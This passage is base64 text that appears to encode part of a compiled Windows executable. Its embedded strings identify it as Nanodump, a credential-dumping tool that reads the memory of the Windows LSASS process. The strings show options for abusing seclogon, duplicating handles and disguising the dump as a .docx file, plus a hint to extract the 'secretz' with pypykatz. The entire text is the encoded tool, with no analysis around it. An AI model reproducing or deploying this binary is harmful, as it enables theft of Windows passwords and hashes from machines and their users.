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0tc25hcHNob3QsIC1zAAAAICAgICAgICAgICAgc25hcHNob3QgdGhlIHRhcmdldCBwcm9jZXNzIGJlZm9yZSBkdW1waW5nACAgICAtLWR1cCwgLWQAAAAAICAgICAgICAgICAgZHVwbGljYXRlIGFuIGV4aXN0aW5nIExTQVNTIGhhbmRsZQAgICAgLS1tYWxzZWNsb2dvbiwgLW0AAAAAICAgICAgICAgICAgb2J0YWluIGEgaGFuZGxlIHRvIExTQVNTIGJ5IChhYil1c2luZyBzZWNsb2dvbgAAICAgIC0tYmluYXJ5IEJJTl9QQVRILCAtYiBCSU5fUEFUSAAAICAgICAgICAgICAgZnVsbCBwYXRoIHRvIHRoZSBkZWNveSBiaW5hcnkgdXNlZCB3aXRoIC0tZHVwIGFuZCAtLW1hbHNlY2xvZ29uACAgICAtLWhlbHAsIC1oAAAgICAgICAgICAgICBwcmludCB0aGlzIGhlbHAgbWVzc2FnZSBhbmQgbGVhdmUAAABOYW5vZHVtcCBkb2VzIG5vdCBzdXBwb3J0IFdvVzY0AC0tZ2V0cGlkAC12AC0tdmFsaWQALXcALS13cml0ZQBtaXNzaW5nIC0td3JpdGUgdmFsdWUALXAALS1waWQAbWlzc2luZyAtLXBpZCB2YWx1ZQAwMTIzNDU2Nzg5AEludmFsaWQgUElEOiAlcwAtZgAtLWZvcmsALXMALS1zbmFwc2hvdAAtZAAtLWR1cAAtbQAtLW1hbHNlY2xvZ29uAC1zMgAtLXN0YWdlMgAtYgAtLWJpbmFyeQBtaXNzaW5nIC0tYmluYXJ5IHZhbHVlAABZb3UgbXVzdCBwcm92aWRlIGEgZnVsbCBwYXRoOiAlcwAAAABUaGUgYmluYXJ5ICIlcyIgZG9lcyBub3QgZXhpc3RzLgAtaAAtLWhlbHAAaW52YWxpZCBhcmd1bWVudDogJXMASWYgTWFsU2VjTG9nb24gaXMgYmVpbmcgdXNlZCBsb2NhbGx5LCB5b3UgbmVlZCB0byBwcm92aWRlIHRoZSBmdWxsIHBhdGg6ICVzAFRoZSBvcHRpb25zIC0tZm9yayBhbmQgLS1zbmFwc2hvdCBjYW5ub3QgYmUgdXNlZCBhdCB0aGUgc2FtZSB0aW1lAExTQVNTIFBJRDogJWxkAAAAAFlvdSBtdXN0IHByb3ZpZGUgdGhlIGR1bXAgZmlsZTogLS13cml0ZSBDOlxXaW5kb3dzXFRlbXBcZG9jLmRvY3gAAAAASWYgLS1kdXAgYW5kIC0tbWFsc2VjbG9nb24gYXJlIHVzZWQsIHlvdSBuZWVkIHRvIHByb3ZpZGUgYSBiaW5hcnkgd2l0aCAtLWJpbmFyeQBUaGUgb3B0aW9uIC0tYmluYXJ5IGNhbiBvbmx5IGJlIHVzZWQgd2l0aCAtLW1hbHNlY2xvZ29uIGFuZCAtLWR1cAAAAEB/QAAAoEEABKBBAABoQQAckEEAAAAAAAAAAABVbmtub3duIGVycm9yAAAAX21hdGhlcnIoKTogJXMgaW4gJXMoJWcsICVnKSAgKHJldHZhbD0lZykKAABBcmd1bWVudCBkb21haW4gZXJyb3IgKERPTUFJTikAQXJndW1lbnQgc2luZ3VsYXJpdHkgKFNJR04pAABPdmVyZmxvdyByYW5nZSBlcnJvciAoT1ZFUkZMT1cpAFRoZSByZXN1bHQgaXMgdG9vIHNtYWxsIHRvIGJlIHJlcHJlc2VudGVkIChVTkRFUkZMT1cpAAAAVG90YWwgbG9zcyBvZiBzaWduaWZpY2FuY2UgKFRMT1NTKQAAUGFydGlhbCBsb3NzIG9mIHNpZ25pZmljYW5jZSAoUExPU1MpAAAAACgNQQBHDUEAZA1BAIQNQQC8DUEA4A1BAE1pbmd3LXc2NCBydW50aW1lIGZhaWx1cmU6CgBBZGRyZXNzICVwIGhhcyBubyBpbWFnZS1zZWN0aW9uACAgVmlydHVhbFF1ZXJ5IGZhaWxlZCBmb3IgJWQgYnl0ZXMgYXQgYWRkcmVzcyAlcAAAAAAgIFZpcnR1YWxQcm90ZWN0IGZhaWxlZCB3aXRoIGNvZGUgMHgleAAAICBVbmtub3duIHBzZXVkbyByZWxvY2F0aW9uIHByb3RvY29sIHZlcnNpb24gJWQuCgAAACAgVW5rbm93biBwc2V1ZG8gcmVsb2NhdGlvbiBiaXQgc2l6ZSAlZC4KAAAAJWQgYml0IHBzZXVkbyByZWxvY2F0aW9uIGF0ICVwIG91dCBvZiByYW5nZSwgdGFyZ2V0aW5nICVwLCB5aWVsZGluZyB0aGUgdmFsdWUgJXAuCgAAKG51bGwpAAAoAG4AdQBsAGwAKQ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